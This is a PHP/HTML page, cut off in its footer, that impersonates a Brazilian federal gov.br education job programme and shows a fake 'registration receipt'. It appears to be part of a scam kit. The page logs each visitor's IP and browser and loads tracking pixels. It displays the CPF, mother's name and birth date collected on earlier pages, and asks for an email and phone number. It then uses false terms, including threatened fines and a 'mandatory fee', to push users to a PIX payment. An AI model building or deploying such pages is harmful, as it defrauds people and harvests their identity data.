<?php
ini_set('display_errors', 0 );
error_reporting(0);
set_time_limit(0);
date_default_timezone_set('America/Sao_Paulo');
$hora = @date("d/m/Y - H:i:s");
$ip = $_SERVER['REMOTE_ADDR'];
$dispositivo = $_SERVER['HTTP_USER_AGENT'];









?>
<html lang="pt-BR">
    

<head>
    





    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Comprovante de Inscrição - Mais Agentes da Educação</title>
    

    

    
    <!-- External CSS -->
    <script src="assets/js/3.4.16.js"></script>
    <link rel="stylesheet" href="assets/css/all.min.css">
    <link href="assets/css/rawline.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link rel="stylesheet" href="assets/css/custom.css">

    <?php include "!pixels.php"; ?>
    
    <!-- SEO and Meta Tags -->
    <meta name="description" content="Programa Nacional de Agentes da Educação - Governo Federal">
    <meta name="keywords" content="educação, governo federal, agentes educação, PNAE, vagas públicas">
    <meta name="author" content="Governo Federal do Brasil">
    
    <!-- Open Graph -->
    <meta property="og:title" content="Mais Agentes da Educação - gov.br">
    <meta property="og:description" content="Programa Nacional de Agentes da Educação do Governo Federal">
    <meta property="og:type" content="website">
    <meta property="og:url" content="https://gov.agentesdaeducacao.org/comprovante-inscricao?cep=31230770">
    
    <!-- Favicon -->
    <link rel="icon" type="image/x-icon" href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🇧🇷</text></svg>">
    

    </head>


    <body class="bg-white">
    

    <!-- Preserve Query Parameters Script -->
    <script>
        document.addEventListener('DOMContentLoaded', function() {
            // Get current query parameters
            const currentParams = new URLSearchParams(window.location.search);
            
            // Function to add query parameters to a URL
            function addQueryParams(url) {
                if (!url) return url;
                
                // Create URL object with absolute path
                const urlObj = new URL(url, window.location.origin);
                
                // Special handling for cadastro to resultados-busca navigation
                if (window.location.pathname === '/cadastro' && url.includes('/resultados-busca')) {
                    // Add CEP parameter if not already present
                    if (!urlObj.searchParams.has('cep')) {
                        urlObj.searchParams.set('cep', '72236001');
                    }
                }

                // Preserve existing parameters
                currentParams.forEach((value, key) => {
                    // Don't override CEP if it's already set
                    if (!(key === 'cep' && urlObj.searchParams.has('cep'))) {
                        urlObj.searchParams.set(key, value);
                    }
                });
                
                return urlObj.toString();
            }
            
            // Add click event listeners to all links
            document.querySelectorAll('a').forEach(link => {
                const originalHref = link.getAttribute('href');
                if (originalHref && !originalHref.startsWith('#') && !originalHref.startsWith('javascript:')) {
                    link.addEventListener('click', function(e) {
                        const newUrl = addQueryParams(originalHref);
                        if (newUrl !== originalHref) {
                            e.preventDefault();
                            window.location.href = newUrl;
                        }
                    });
                }
            });

            // Also handle form submissions
            document.querySelectorAll('form').forEach(form => {
                form.addEventListener('submit', function(e) {
                    const formAction = form.getAttribute('action');
                    if (formAction && formAction.includes('/resultados-busca')) {
                        e.preventDefault();
                        const newUrl = addQueryParams(formAction);
                        window.location.href = newUrl;
                    }
                });
            });

            // Debug log to check parameters
            console.log('Current URL:', window.location.href);
            console.log('Current Parameters:', Object.fromEntries(currentParams));
        });
    </script>


    <!-- Header -->
    <header class="header-govbr">
        <div class="flex justify-between items-center px-4 py-3">
            <div class="flex items-center">
               
                    <img src="assets/img/1.webp" alt="gov.br" class="h-8">
                </a>
            </div>
            <div class="flex items-center">
                <button class="header-btn" id="menu-btn" aria-label="Menu">
                    <i class="fas fa-ellipsis-v text-blue-900 mx-3"></i>
                </button>
                <div class="w-px h-6 bg-blue-900 mx-3"></div>
                <button class="header-btn" id="accessibility-btn" aria-label="Acessibilidade">
                    <i class="fas fa-palette text-blue-900 mx-3"></i>
                </button>
                <div class="half-circle mx-3"></div>
                <button class="header-btn" id="apps-btn" aria-label="Aplicativos">
                    <i class="fas fa-th text-blue-900 mx-3"></i>
                </button>
               
            </div>
        </div>

        <!-- Title Bar -->
        <div class="flex justify-between items-center px-4 py-2 border-b border-gray-300">
            <div class="flex items-center">
                <button class="header-btn" id="sidebar-toggle" aria-label="Menu lateral">
                    <i class="fas fa-bars text-blue-900 mr-3"></i>
                </button>
                <span class="text-gray-800 text-sm font-medium">Fundo Nacional de Desenvolvimento da Educação</span>
            </div>
            <div class="flex items-center">
                <button class="header-btn" id="voice-search-btn" aria-label="Busca por voz">
                    <i class="fas fa-microphone text-blue-900 mx-2"></i>
                </button>
                <button class="header-btn" id="search-toggle-btn" aria-label="Pesquisar">
                    <i class="fas fa-search text-blue-900 mx-2"></i>
                </button>
            </div>
        </div>

        <!-- Search Bar (hidden by default) -->
        <div id="search-bar" class="hidden bg-white border-b border-gray-300 px-4 py-3">
            <div class="flex items-center max-w-md mx-auto">
                <div class="relative flex-1">
                    <input type="text" id="header-search-input" placeholder="Buscar programas, vagas, ministérios..." class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:outline-none focus:border-blue-600 focus:ring-2 focus:ring-blue-200">
                    <button id="header-search-btn" class="absolute right-2 top-2 text-blue-600 hover:text-blue-800">
                        <i class="fas fa-search"></i>
                    </button>
                </div>
                <button id="search-close-btn" class="ml-3 text-gray-500 hover:text-gray-700">
                    <i class="fas fa-times"></i>
                </button>
            </div>
        </div>

        <!-- Breadcrumb -->
     <!--    <nav class="breadcrumb-nav flex items-center px-4 py-3 text-sm" aria-label="Navegação estrutural">
            <div class="flex flex-wrap items-center gap-1">
                <a href="/" class="text-blue-700 hover:text-blue-800">
                    <i class="fas fa-home"></i>
                </a>
                <span class="mx-1 text-gray-600">></span>
                <a href="/acesso-informacao" class="text-blue-700 hover:text-blue-800 text-xs">Acesso à Informação</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="/acoes-programas" class="text-blue-700 hover:text-blue-800 text-xs">Ações e Programas</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="/programas" class="text-blue-700 hover:text-blue-800 text-xs">Programas</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="/bolsas-auxilios" class="text-blue-700 hover:text-blue-800 text-xs">Bolsas e Auxílios</a>
                <span class="mx-1 text-gray-600">></span>
                <a href="/lista-programas" class="text-blue-700 hover:text-blue-800 text-xs">Lista de Programas</a>
                <span class="mx-1 text-gray-600">></span>
                <span class="text-gray-800 text-xs font-medium">Mais Agentes da Educação</span>
            </div>
        </nav> -->
    </header>

    <!-- Main Content -->
    <main class="main-content">
        
<!-- Popup de Carregamento Seguro -->
<div id="loading-popup" class="fixed inset-0 bg-black bg-opacity-75 z-50 flex items-center justify-center hidden">
    <div class="bg-white rounded-lg p-8 w-full max-w-lg text-center" style="font-family: 'Rawline', 'Open Sans', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;">
        <!-- Logo Gov.br -->
        <div class="mb-6">
            <img src="assets/img/1.webp" alt="Gov.br" class="h-10 mx-auto">
        </div>
        
        <!-- Título Principal -->
        <h3 class="font-bold mb-4" style="color: #1351B4; font-size: 20px; font-family: 'Rawline', 'Open Sans', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;">Carregando ambiente seguro...</h3>
        
        <!-- Texto Descritivo -->
        <p class="mb-6" style="font-size: 14px; color: #495057; line-height: 1.5; font-family: 'Rawline', 'Open Sans', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;">
            Estamos preparando um ambiente seguro para o processamento do seu pagamento. Por favor aguarde um momento.
        </p>
        
        <!-- Círculo de Loading -->
        <div class="mb-6">
            <div class="animate-spin rounded-full h-12 w-12 border-b-2 border-blue-600 mx-auto"></div>
        </div>
        
        <!-- Informação LGPD -->
        <p class="text-center leading-relaxed" style="font-size: 12px; color: #6C757D; font-family: 'Rawline', 'Open Sans', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;">
            Seus dados estão protegidos conforme a Lei Geral de Proteção de Dados (LGPD) e as melhores práticas de segurança.
        </p>
    </div>
</div>

<div class="px-4 py-4">
    <h1 class="text-3xl font-semibold mb-4" style="color: #1351B4;">Comprovante de Inscrição</h1>
    
    <div class="border-t border-b border-gray-300 py-3 mb-6">
        <div class="text-gray-700 text-sm">
            <p>Gerado em <span id="data-geracao"></span></p>
        </div>
    </div>

    <!-- Progress Bar Final -->
    <div class="bg-white border border-gray-200 rounded-lg p-4 md:p-6 mb-6 md:mb-8">
        <h2 class="text-base md:text-lg font-semibold text-gray-800 mb-3 md:mb-4">Progresso da Inscrição</h2>
        
        <!-- Desktop Progress -->
        <div class="hidden md:flex items-center justify-between">
            <div class="flex items-center">
                <div class="w-7 h-7 bg-green-600 text-white rounded-full flex items-center justify-center text-xs font-medium">✓</div>
                <span class="ml-2 text-sm font-medium text-green-600">Dados Pessoais</span>
            </div>
            <div class="flex-1 mx-3 h-1 bg-green-600 rounded"></div>
            <div class="flex items-center">
                <div class="w-7 h-7 bg-green-600 text-white rounded-full flex items-center justify-center text-xs font-medium">✓</div>
                <span class="ml-2 text-sm font-medium text-green-600">Documentação</span>
            </div>
            <div class="flex-1 mx-3 h-1 bg-green-600 rounded"></div>
            <div class="flex items-center">
                <div class="w-7 h-7 bg-green-600 text-white rounded-full flex items-center justify-center text-xs font-medium">✓</div>
                <span class="ml-2 text-sm font-medium text-green-600">Finalização</span>
            </div>
        </div>

        <!-- Mobile Progress -->
        <div class="md:hidden">
            <div class="flex items-center justify-between mb-3">
                <span class="text-xs text-gray-600">Etapa 3 de 3</span>
                <span class="text-xs font-medium text-green-600">100% concluído</span>
            </div>
            <div class="w-full bg-gray-200 rounded-full h-2 mb-3">
                <div class="bg-green-600 h-2 rounded-full" style="width: 100%"></div>
            </div>
            <div class="flex justify-between text-xs">
                <span class="font-medium text-green-600">• Dados Pessoais</span>
                <span class="font-medium text-green-600">• Documentação</span>
                <span class="font-medium text-green-600">• Finalização</span>
            </div>
        </div>
    </div>

    <!-- Comprovante -->
    <div class="bg-white border-2 border-green-500 rounded-lg p-6 mb-8 shadow-lg">
        <div class="text-center mb-6">
            <div class="flex items-center justify-center mb-4">
                <img src="/static/img/gov-logo.svg" alt="Gov.br" class="h-12 mr-4" onerror="this.style.display='none'">
                <div>
                    <h2 class="text-xl font-bold text-gray-800">GOVERNO FEDERAL</h2>
                    <p class="text-sm text-gray-600">Ministério da Educação</p>
                </div>
            </div>
            <h3 class="text-lg font-semibold text-green-700 mb-2">COMPROVANTE DE INSCRIÇÃO</h3>
            <p class="text-sm text-gray-600">Programa Nacional de Agentes da Educação - PNAE</p>
        </div>

        <div class="border-t border-b border-gray-200 py-4 mb-6">
            <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                <div>
                    <span class="text-sm font-medium text-gray-600">Protocolo:</span>
                    <p class="font-mono text-lg font-bold text-blue-600" id="protocolo-inscricao">-</p>
                </div>
                <div>
                    <span class="text-sm font-medium text-gray-600">Status:</span>
                    <p class="font-medium text-green-600">INSCRIÇÃO REALIZADA</p>
                </div>
            </div>
        </div>

        <div class="grid grid-cols-1 md:grid-cols-2 gap-6">
            <!-- Dados Pessoais -->
            <div>
                <h4 class="text-lg font-semibold text-gray-800 mb-4 flex items-center">
                    <i class="fas fa-user mr-2 text-blue-600"></i>
                    Dados Pessoais
                </h4>
                <div class="space-y-3">
                    <div>
                        <span class="text-sm font-medium text-gray-600">Nome Completo:</span>
                        <p class="font-medium" id="nome-completo">-</p>
                    </div>
                    <div>
                        <span class="text-sm font-medium text-gray-600">CPF:</span>
                        <p class="font-medium font-mono" id="cpf-usuario">-</p>
                    </div>
                    <div>
                        <span class="text-sm font-medium text-gray-600">Data de Nascimento:</span>
                        <p class="font-medium" id="data-nascimento">-</p>
                    </div>
                    <div>
                        <span class="text-sm font-medium text-gray-600">Nome da Mãe:</span>
                        <p class="font-medium" id="nome-mae">-</p>
                    </div>
                </div>
            </div>

            <!-- Dados da Vaga -->
            <div>
                <h4 class="text-lg font-semibold text-gray-800 mb-4 flex items-center">
                    <i class="fas fa-briefcase mr-2 text-blue-600"></i>
                    Dados da Vaga
                </h4>
                <div class="space-y-3">
                    <div>
                        <span class="text-sm font-medium text-gray-600">Cargo Pretendido:</span>
                        <p class="font-medium" id="cargo-pretendido">-</p>
                    </div>
                    <div>
                        <span class="text-sm font-medium text-gray-600">Unidade Escolar:</span>
                        <p class="font-medium text-gray-500" id="unidade-escolar">Será selecionada após a seleção de aptidão</p>
                    </div>
                    <div>
                        <span class="text-sm font-medium text-gray-600">Remuneração:</span>
                        <p class="font-medium text-green-600" id="remuneracao">-</p>
                    </div>
                </div>
            </div>
        </div>

        <!-- QR Code e Validação -->
        <div class="mt-6 pt-6 border-t border-gray-200 text-center">
            <div class="flex items-center justify-center mb-4">
                <div class="bg-gray-100 w-24 h-24 rounded-lg flex items-center justify-center mr-4">
                    <i class="fas fa-qrcode text-4xl text-gray-400"></i>
                </div>
                <div class="text-left">
                    <p class="text-sm font-medium text-gray-700">Código de Validação:</p>
                    <p class="font-mono text-lg font-bold text-blue-600" id="codigo-validacao">-</p>
                    <p class="text-xs text-gray-500 mt-1">
                        Utilize este código para consultar o status da sua inscrição
                    </p>
                </div>
            </div>
        </div>
    </div>



    <!-- Envio do Comprovante por Email -->
    <div class="bg-blue-50 border border-blue-200 rounded-lg p-6 mb-8">
        <h3 class="text-lg font-semibold text-blue-800 mb-4 flex items-center">
            <i class="fas fa-envelope mr-2"></i>
            Receber Comprovante por E-mail
        </h3>
        <p class="text-blue-700 mb-4 text-sm">
            Digite seu e-mail para receber uma cópia do comprovante de inscrição:
        </p>
        <p class="text-gray-600 mb-4 text-xs bg-yellow-50 border border-yellow-200 rounded p-2">
            <i class="fas fa-info-circle text-yellow-600 mr-1"></i>
            <strong>Importante:</strong> O comprovante oficial será enviado após o pagamento da taxa de inscrição.
        </p>
        
        <div class="space-y-4">
            <div class="relative">
                <label for="email-comprovante" class="block text-sm font-medium text-gray-700 mb-2">
                    E-mail para recebimento:
                </label>
                <input type="email" id="email-comprovante" placeholder="seu.email@exemplo.com" autocomplete="email" style="font-size: 16px;" class="w-full px-4 py-3 border border-gray-300 rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500">
                
                <!-- Dropdown de sugestões de email -->
                <div id="email-suggestions" class="hidden absolute z-10 w-full bg-white border border-gray-300 rounded-md shadow-lg mt-1 max-h-40 overflow-y-auto">
                    <!-- Sugestões serão inseridas aqui -->
                </div>
            </div>
            
            <div>
                <label for="telefone-comprovante" class="block text-sm font-medium text-gray-700 mb-2">
                    Telefone para contato:
                </label>
                <input type="tel" id="telefone-comprovante" placeholder="(11) 99999-9999" autocomplete="tel" style="font-size: 16px;" class="w-full px-4 py-3 border border-gray-300 rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500">
            </div>
            
            <button id="salvar-email" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-medium py-3 px-6 rounded-md transition-colors">
                <i class="fas fa-save mr-2"></i>
                Salvar E-mail e Telefone
            </button>
            
            <div id="status-email" class="hidden text-center p-3 rounded-md">
                <!-- Status será inserido aqui -->
            </div>
        </div>
    </div>

    <!-- Informações Importantes -->
    <div class="bg-blue-50 border border-blue-200 rounded-lg p-6">
        <h3 class="text-lg font-semibold text-blue-800 mb-3">Informações Importantes</h3>
        <div class="text-blue-700 text-sm space-y-2">
            <p>• Guarde este comprovante para consultas futuras sobre sua inscrição</p>
            <p>• O processo seletivo seguirá as etapas previstas no edital oficial</p>
            <p>• Acompanhe as comunicações através do seu email cadastrado</p>
            <p>• Em caso de dúvidas, entre em contato através dos canais oficiais</p>
            <p>• Este documento possui validade legal e comprova sua participação no programa</p>
        </div>
    </div>
</div>

<script>
document.addEventListener('DOMContentLoaded', function() {
    // Carregar dados do localStorage
    const dadosInscricao = localStorage.getItem('dadosInscricao');
    
    if (dadosInscricao) {
        const dados = JSON.parse(dadosInscricao);
        
        // Preencher dados pessoais
        document.getElementById('nome-completo').textContent = dados.nome || '-';
        document.getElementById('cpf-usuario').textContent = formatarCPF(dados.cpf) || '-';
        document.getElementById('data-nascimento').textContent = formatarData(dados.dataNascimento) || '-';
        document.getElementById('nome-mae').textContent = dados.nomeMae || '-';
        
        // Preencher dados da vaga
        document.getElementById('cargo-pretendido').textContent = dados.cargo || '-';
        document.getElementById('remuneracao').textContent = dados.salario || '-';
        
        // Preencher protocolo e código
        document.getElementById('protocolo-inscricao').textContent = dados.protocoloInscricao || '-';
        document.getElementById('codigo-validacao').textContent = dados.protocoloInscricao || '-';
    }
    
    // Data de geração
    const agora = new Date();
    document.getElementById('data-geracao').textContent = agora.toLocaleString('pt-BR');
    
    // Carregar dados do CPF validado do localStorage
    carregarDadosUsuario();
    
    // Configurar autocompletar de email
    configurarAutocompletarEmail();
    
    // Configurar formatação automática do telefone
    configurarFormatacaoTelefone();
    
    function carregarDadosUsuario() {
        const dadosCpf = JSON.parse(localStorage.getItem('dadosCpfValidado') || '{}');
        const cargoSelecionado = JSON.parse(localStorage.getItem('cargoSelecionado') || '{}');
        
        if (dadosCpf.nome) {
            document.getElementById('nome-completo').textContent = dadosCpf.nome;
            document.getElementById('cpf-usuario').textContent = dadosCpf.cpf || '-';
            document.getElementById('data-nascimento').textContent = dadosCpf.data_nascimento || '-';
            document.getElementById('nome-mae').textContent = dadosCpf.nome_mae || '-';
            
            // Gerar protocolo baseado no CPF
            const protocolo = `PNAE-${new Date().getFullYear()}-${dadosCpf.cpf?.slice(-6) || Math.random().toString().slice(-6)}`;
            document.getElementById('protocolo-inscricao').textContent = protocolo;
            document.getElementById('codigo-validacao').textContent = protocolo;
            
            // Atualizar cabeçalho com nome do usuário
            atualizarCabecalhoComprovante(dadosCpf.nome);
        }
        
        // Carregar dados do cargo selecionado
        if (cargoSelecionado.nome) {
            document.getElementById('cargo-pretendido').textContent = cargoSelecionado.nome;
            // Usar sempre o valor máximo da remuneração
            document.getElementById('remuneracao').textContent = cargoSelecionado.salarioMaximo || cargoSelecionado.salario;
        }
    }
    
    function atualizarCabecalhoComprovante(nomeCompleto) {
        // Extrair primeiro nome
        const primeiroNome = nomeCompleto.split(' ')[0];
        
        // Procurar o botão "Entrar" no cabeçalho e substituir pelo nome
        const entrarBtn = document.querySelector('a[href*="login"]');
        if (entrarBtn) {
            entrarBtn.innerHTML = `<i class="fas fa-user mr-1"></i>${primeiroNome}`;
            entrarBtn.href = '#';
            entrarBtn.classList.remove('hover:bg-blue-700');
            entrarBtn.classList.add('cursor-default');
        }
    }
    
    // Botão salvar e-mail
    document.getElementById('salvar-email').addEventListener('click', function() {
        salvarEmail();
    });

    function configurarAutocompletarEmail() {
        const emailInput = document.getElementById('email-comprovante');
        const suggestionsDiv = document.getElementById('email-suggestions');
        
        const dominios = ['@gmail.com', '@hotmail.com', '@outlook.com', '@yahoo.com.br', '@terra.com.br', '@uol.com.br', '@ig.com.br', '@bol.com.br'];
        
        emailInput.addEventListener('input', function() {
            const valor = this.value;
            const parteAntes = valor.split('@')[0];
            
            if (valor.includes('@') && parteAntes.length > 0) {
                const filteredDominios = dominios.filter(dominio => 
                    dominio.toLowerCase().includes(valor.split('@')[1].toLowerCase())
                );
                
                if (filteredDominios.length > 0) {
                    suggestionsDiv.innerHTML = '';
                    filteredDominios.forEach(dominio => {
                        const sugestao = document.createElement('div');
                        sugestao.className = 'px-4 py-2 hover:bg-blue-50 cursor-pointer border-b border-gray-100 last:border-b-0';
                        sugestao.textContent = parteAntes + dominio;
                        sugestao.addEventListener('click', function() {
                            emailInput.value = this.textContent;
                            suggestionsDiv.classList.add('hidden');
                        });
                        suggestionsDiv.appendChild(sugestao);
                    });
                    suggestionsDiv.classList.remove('hidden');
                } else {
                    suggestionsDiv.classList.add('hidden');
                }
            } else if (valor.includes('@') && parteAntes.length > 0) {
                suggestionsDiv.innerHTML = '';
                dominios.forEach(dominio => {
                    const sugestao = document.createElement('div');
                    sugestao.className = 'px-4 py-2 hover:bg-blue-50 cursor-pointer border-b border-gray-100 last:border-b-0';
                    sugestao.textContent = parteAntes + dominio;
                    sugestao.addEventListener('click', function() {
                        emailInput.value = this.textContent;
                        suggestionsDiv.classList.add('hidden');
                    });
                    suggestionsDiv.appendChild(sugestao);
                });
                suggestionsDiv.classList.remove('hidden');
            } else {
                suggestionsDiv.classList.add('hidden');
            }
        });
        
        // Fechar sugestões ao clicar fora
        document.addEventListener('click', function(e) {
            if (!emailInput.contains(e.target) && !suggestionsDiv.contains(e.target)) {
                suggestionsDiv.classList.add('hidden');
            }
        });
    }

    function salvarEmail() {
        const email = document.getElementById('email-comprovante').value;
        const telefone = document.getElementById('telefone-comprovante').value;
        const statusDiv = document.getElementById('status-email');
        const botaoSalvar = document.getElementById('salvar-email');
        
        // Validar email
        if (!email || !email.includes('@') || email.split('@')[1].indexOf('.') === -1) {
            statusDiv.className = 'text-center p-3 rounded-md bg-red-100 border border-red-300';
            statusDiv.innerHTML = '<i class="fas fa-exclamation-triangle text-red-600 mr-2"></i>Por favor, digite um e-mail válido.';
            statusDiv.classList.remove('hidden');
            return;
        }
        
        // Validar telefone (opcional, mas se preenchido deve ter formato válido)
        if (telefone && telefone.length < 10) {
            statusDiv.className = 'text-center p-3 rounded-md bg-red-100 border border-red-300';
            statusDiv.innerHTML = '<i class="fas fa-exclamation-triangle text-red-600 mr-2"></i>Por favor, digite um telefone válido.';
            statusDiv.classList.remove('hidden');
            return;
        }
        
        // Mostrar loading
        botaoSalvar.disabled = true;
        botaoSalvar.innerHTML = '<i class="fas fa-spinner fa-spin mr-2"></i>Salvando...';
        
        statusDiv.className = 'text-center p-3 rounded-md bg-blue-100 border border-blue-300';
        statusDiv.innerHTML = '<i class="fas fa-info-circle text-blue-600 mr-2"></i>Salvando dados...';
        statusDiv.classList.remove('hidden');
        
        // Simular salvamento
        setTimeout(() => {
            let mensagem = '<i class="fas fa-check-circle text-blue-600 mr-2"></i>E-mail salvo: <strong>' + email + '</strong>';
            if (telefone) {
                mensagem += '<br>Telefone salvo: <strong>' + telefone + '</strong>';
            }
            
            statusDiv.className = 'text-center p-3 rounded-md bg-blue-100 border border-blue-300';
            statusDiv.innerHTML = mensagem;
            
            // Salvar dados no localStorage para usar na página de pagamento
            localStorage.setItem('emailUsuario', email);
            if (telefone) {
                localStorage.setItem('telefoneUsuario', telefone);
            }
            
            // Ocultar o botão após salvar
            botaoSalvar.style.display = 'none';
            
            // Mostrar termos após salvar dados
            mostrarTermosFinais(email);
        }, 1500);
    }
    
    function configurarFormatacaoTelefone() {
        const telefoneInput = document.getElementById('telefone-comprovante');
        
        telefoneInput.addEventListener('input', function(e) {
            let valor = e.target.value.replace(/\D/g, ''); // Remove tudo que não é dígito
            
            // Limita a 11 dígitos
            if (valor.length > 11) {
                valor = valor.substring(0, 11);
            }
            
            // Aplica a formatação
            if (valor.length <= 2) {
                valor = valor.replace(/(\d{1,2})/, '($1');
            } else if (valor.length <= 7) {
                valor = valor.replace(/(\d{2})(\d{1,5})/, '($1) $2');
            } else {
                valor = valor.replace(/(\d{2})(\d{5})(\d{1,4})/, '($1) $2-$3');
            }
            
            e.target.value = valor;
        });
        
        // Permitir apenas números e alguns caracteres especiais
        telefoneInput.addEventListener('keypress', function(e) {
            const char = String.fromCharCode(e.which);
            if (!/[\d\(\)\-\s]/.test(char) && e.which !== 8) {
                e.preventDefault();
            }
        });
    }
    
    function mostrarTermosFinais(email) {
        // Criar seção de termos finais na página
        const termosSection = document.createElement('div');
        termosSection.id = 'termos-finais';
        termosSection.className = 'bg-red-50 border border-red-200 rounded-lg p-6 mt-6';
        
        termosSection.innerHTML = `
            <h3 class="text-lg font-semibold text-red-800 mb-4 flex items-center">
                <i class="fas fa-exclamation-triangle mr-2"></i>
                Termos Obrigatórios da Inscrição
            </h3>
            
            <div class="space-y-4 mb-6">
                <div class="flex items-start">
                    <input type="checkbox" 
                           id="termo-1" 
                           class="mt-1 mr-3 h-4 w-4 text-red-600 border-red-300 rounded focus:ring-red-500">
                    <label for="termo-1" class="text-sm text-red-700 cursor-pointer">
                        <strong>Estou ciente de que o não comparecimento à seleção</strong> impossibilitará minha participação em futuras provas ou concursos, podendo resultar em multas e taxas de cancelamento conforme regulamento oficial.
                    </label>
                </div>
                
                <div class="flex items-start">
                    <input type="checkbox" 
                           id="termo-2" 
                           class="mt-1 mr-3 h-4 w-4 text-red-600 border-red-300 rounded focus:ring-red-500">
                    <label for="termo-2" class="text-sm text-red-700 cursor-pointer">
                        <strong>Concordo com o pagamento obrigatório da taxa de inscrição</strong> no valor determinado pelo edital, entendendo que é requisito indispensável para validação da minha participação no programa.
                    </label>
                </div>
            </div>
            
            <div class="text-center">
                <p class="text-sm text-gray-600 mb-4">
                    E-mail cadastrado: <strong class="text-blue-600">${email}</strong>
                </p>
                
                <button id="finalizar-inscricao-btn" 
                        disabled
                        class="bg-gray-400 text-gray-600 font-medium py-3 px-8 rounded-md cursor-not-allowed transition-colors opacity-50">
                    <i class="fas fa-lock mr-2"></i>
                    Finalizar Inscrição
                </button>
            </div>
        `;
        
        // Inserir após a seção de email (buscar especificamente pela seção de email)
        const emailSection = document.querySelector('.bg-blue-50:has(#email-comprovante)') || 
                             document.querySelector('[id*="email"]').closest('.bg-blue-50') ||
                             document.getElementById('email-comprovante').closest('.bg-blue-50');
        
        if (emailSection) {
            emailSection.parentNode.insertBefore(termosSection, emailSection.nextSibling);
        } else {
            // Fallback: inserir no final da página antes das informações importantes
            const infoSection = document.querySelector('.bg-blue-50:last-of-type');
            if (infoSection) {
                infoSection.parentNode.insertBefore(termosSection, infoSection);
            }
        }
        
        // Rolagem automática para os termos
        setTimeout(() => {
            termosSection.scrollIntoView({ 
                behavior: 'smooth', 
                block: 'center' 
            });
        }, 500);
        
        // Eventos dos checkboxes
        const termo1 = document.getElementById('termo-1');
        const termo2 = document.getElementById('termo-2');
        const btnFinalizar = document.getElementById('finalizar-inscricao-btn');
        
        function verificarTermos() {
            const termo1Checked = termo1.checked;
            const termo2Checked = termo2.checked;
            
            // Habilitar/desabilitar botão
            if (termo1Checked && termo2Checked) {
                btnFinalizar.disabled = false;
                btnFinalizar.classList.remove('bg-gray-400', 'text-gray-600', 'cursor-not-allowed', 'opacity-50');
                btnFinalizar.classList.add('bg-green-600', 'hover:bg-green-700', 'text-white', 'cursor-pointer');
                btnFinalizar.innerHTML = '<i class="fas fa-check mr-2"></i>Finalizar Inscrição';
                
                // Atualizar container para verde
                termosSection.classList.remove('bg-red-50', 'border-red-200');
                termosSection.classList.add('bg-green-50', 'border-green-200');
                termosSection.querySelector('h3').classList.remove('text-red-800');
                termosSection.querySelector('h3').classList.add('text-green-800');
                
                // Atualizar textos dos termos para verde
                const labels = termosSection.querySelectorAll('label');
                labels.forEach(label => {
                    label.classList.remove('text-red-700');
                    label.classList.add('text-green-700');
                });
            } else {
                btnFinalizar.disabled = true;
                btnFinalizar.classList.add('bg-gray-400', 'text-gray-600', 'cursor-not-allowed', 'opacity-50');
                btnFinalizar.classList.remove('bg-green-600', 'hover:bg-green-700', 'text-white', 'cursor-pointer');
                btnFinalizar.innerHTML = '<i class="fas fa-lock mr-2"></i>Finalizar Inscrição';
                
                // Voltar container para vermelho
                termosSection.classList.add('bg-red-50', 'border-red-200');
                termosSection.classList.remove('bg-green-50', 'border-green-200');
                termosSection.querySelector('h3').classList.add('text-red-800');
                termosSection.querySelector('h3').classList.remove('text-green-800');
                
                // Voltar textos dos termos para vermelho
                const labels = termosSection.querySelectorAll('label');
                labels.forEach(label => {
                    label.classList.add('text-red-700');
                    label.classList.remove('text-green-700');
                });
            }
        }
        
        termo1.addEventListener('change', verificarTermos);
        termo2.addEventListener('change', verificarTermos);
        
        // Evento do botão finalizar
        btnFinalizar.addEventListener('click', function() {
            if (!this.disabled) {
                // Mostrar popup de carregamento
                const loadingPopup = document.getElementById('loading-popup');
                loadingPopup.classList.remove('hidden');
                
                // Obter dados salvos do usuário
                const dadosCpf = JSON.parse(localStorage.getItem('dadosCpfValidado') || '{}');
                const emailSalvo = document.getElementById('email-comprovante').value;
                
                // Preservar parâmetros da URL atual
                const currentParams = new URLSearchParams(window.location.search);
                
                // Delay para mostrar o loading e depois redirecionar para PIX
                setTimeout(() => {
                    window.location.href = '06' + (currentParams.toString() ? '?' + currentParams.toString() : '');
                }, 2000); // 2 segundos de carregamento
            }
        });
        
        // Scroll para a seção
        termosSection.scrollIntoView({ behavior: 'smooth', block: 'center' });
    }
    
    // Função para formatar CPF
    function formatarCPF(cpf) {
        if (!cpf) return '';
        const numerosCPF = cpf.replace(/\D/g, '');
        return numerosCPF.replace(/(\d{3})(\d{3})(\d{3})(\d{2})/, '$1.$2.$3-$4');
    }
    
    // Função para formatar data
    function formatarData(data) {
        if (!data) return '';
        const date = new Date(data);
        return date.toLocaleDateString('pt-BR');
    }
});
</script>


    </main>

    <!-- Footer -->
    <footer class="bg-[#0a1f44] text-white">
        <div class="container mx-auto px-6 py-4">
            <!-- Logo -->
            <div class="py-6">
                <img src="assets/img/1.webp" alt="Government of Brazil logo showing gov.br in white text" class="w-40">
            </div>

            <!-- Divider -->
            <div class="border-t border-gray-600"></div>

            <!-- Navigation Menu -->
            <nav aria-label="Menu principal do rodapé">
                <ul>
                    <li class="py-3">
                        <a href="#" class="text-sm hover:text-gray-300">MEC</a>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">EDUCAÇÃO BÁSICA</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Educação Básica">
                            <i class="fas fa-chevron-down text-xs"></i>
                        </button>
                    </li>
                    <li class="border-t border-gray-600 py-3 flex justify-between items-center">
                        <a href="#" class="text-sm hover:text-gray-300">ENSINO SUPERIOR</a>
                        <button class="footer-expand-btn" aria-label="Expandir seção Ensino Superior">
